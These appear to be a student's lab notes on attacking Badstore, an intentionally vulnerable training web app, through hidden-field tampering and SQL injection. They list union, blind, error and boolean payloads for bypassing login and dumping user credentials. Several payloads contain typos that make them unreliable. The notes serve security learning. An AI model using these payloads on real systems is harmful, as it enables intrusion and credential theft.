The Badstore SQL Vulnerabilities.

To get access as a user ‘or 1=1 or

It’s given us access as a test user but we want admin privileges

for that we need change in code to send registration as admin.

* first view the source page code specifically for registration page
* find a hidden row in code.
* then change the value to from U that is for user registration to A for admin registration.
* Then go to application registration line and change the URL to give the web server address for registration.

And change URL form registration page to admin succeeded.

# SQL injection:

## Union based sql injection:

In this the attacker modify the query using the original query to attack on database.

Whenever an error is return by database it is the indication that database is vulnerable.

For exploitation to succeed we need to find no of columns we have in database.

* We do it by trying to figure out by blind sql to try guess the no. of columns if we receive error we try again if no error is received means guess is succeeded.
* Man’ union select 1,1,(keep adding ones until error stops)#

To find the version and name of database

* Use the query one same as the column no. but add database paranthesis in between
* man’ union select 1,Database()1,1# 🡪 remember to use no. of ones that were no of column in first injection.
* For version
* man’ union select 1,1,1,version,1#
* By finding version and name of database we can search for related vulnerabilities.

To find all table names we need

* inject query which ask for table no and name like
* man’ union select 1,1,1,table\_name,1 FROM information\_schema.tables#
* it will return all table names.

To find column name now

* using the table name find by above sql injection.
* man’ union select 1,1,column\_name,1,1 FORM information\_schema.columns WHERE table\_name=’users’#
* it will show all the columns for mentioned table.

To view columns of password email and other.

* we use the columns of the above injected table.
* man’ union select 1,login,password,email,secret,1,1 from table\_name=’users’#
* now using the decryption algorithm passwords can be decrypt.

## Blind sql injection:

To select all product form database

* ‘;-- 🡪 to view all possible products.
* use sleep function that is use by sql to guess the database type.
* productname’ AND 1 = SLEEP(2);-- 🡪 to try to guess the database type.
* For this we check the product first then we try to guess the no of seconds it wait before returning the result if It does return it then it is within counted seconds its is mysql database.

## Error based sql injection:

In this we send error to the database to check for the vulnerability and if error is response that means db is vulnerable and also show the query structure.

* Send random username and password.

## Boolean based sql injection:

Boolean values are use to inject and manipulate the query and to break the database concept.

* ‘OR ‘1’=’1